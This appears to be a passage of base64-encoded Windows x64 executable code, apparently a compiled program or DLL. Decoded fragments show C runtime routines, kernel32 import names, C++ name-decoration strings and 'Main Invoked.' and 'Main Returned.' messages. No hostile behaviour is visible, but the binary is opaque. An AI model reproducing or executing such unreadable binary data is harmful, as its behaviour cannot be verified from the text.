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XRvcicAAAAAYHZlY3RvciB2YmFzZSBjb25zdHJ1Y3RvciBpdGVyYXRvcicAAAAAAGB2aXJ0dWFsIGRpc3BsYWNlbWVudCBtYXAnAAAAAAAAYGVoIHZlY3RvciBjb25zdHJ1Y3RvciBpdGVyYXRvcicAAAAAAAAAAGBlaCB2ZWN0b3IgZGVzdHJ1Y3RvciBpdGVyYXRvcicAYGVoIHZlY3RvciB2YmFzZSBjb25zdHJ1Y3RvciBpdGVyYXRvcicAAGBjb3B5IGNvbnN0cnVjdG9yIGNsb3N1cmUnAAAAAAAAYHVkdCByZXR1cm5pbmcnAGBFSABgUlRUSQAAAAAAAABgbG9jYWwgdmZ0YWJsZScAYGxvY2FsIHZmdGFibGUgY29uc3RydWN0b3IgY2xvc3VyZScAIG5ld1tdAAAAAAAAIGRlbGV0ZVtdAAAAAAAAAGBvbW5pIGNhbGxzaWcnAABgcGxhY2VtZW50IGRlbGV0ZSBjbG9zdXJlJwAAAAAAAGBwbGFjZW1lbnQgZGVsZXRlW10gY2xvc3VyZScAAAAAYG1hbmFnZWQgdmVjdG9yIGNvbnN0cnVjdG9yIGl0ZXJhdG9yJwAAAGBtYW5hZ2VkIHZlY3RvciBkZXN0cnVjdG9yIGl0ZXJhdG9yJwAAAABgZWggdmVjdG9yIGNvcHkgY29uc3RydWN0b3IgaXRlcmF0b3InAAAAYGVoIHZlY3RvciB2YmFzZSBjb3B5IGNvbnN0cnVjdG9yIGl0ZXJhdG9yJwAAAAAAYGR5bmFtaWMgaW5pdGlhbGl6ZXIgZm9yICcAAAAAAABgZHluYW1pYyBhdGV4aXQgZGVzdHJ1Y3RvciBmb3IgJwAAAAAAAAAAYHZlY3RvciBjb3B5IGNvbnN0cnVjdG9yIGl0ZXJhdG9yJwAAAAAAAGB2ZWN0b3IgdmJhc2UgY29weSBjb25zdHJ1Y3RvciBpdGVyYXRvcicAAAAAAAAAAGBtYW5hZ2VkIHZlY3RvciBjb3B5IGNvbnN0cnVjdG9yIGl0ZXJhdG9yJwAAAAAAAGBsb2NhbCBzdGF0aWMgdGhyZWFkIGd1YXJkJwAAAAAAb3BlcmF0b3IgIiIgAAAAAAAAAAAAAAAAWEMEgAEAAABwQwSAAQAAAJBDBIABAAAAqEMEgAEAAADIQwSAAQAAAAAAAAAAAAAA6EMEg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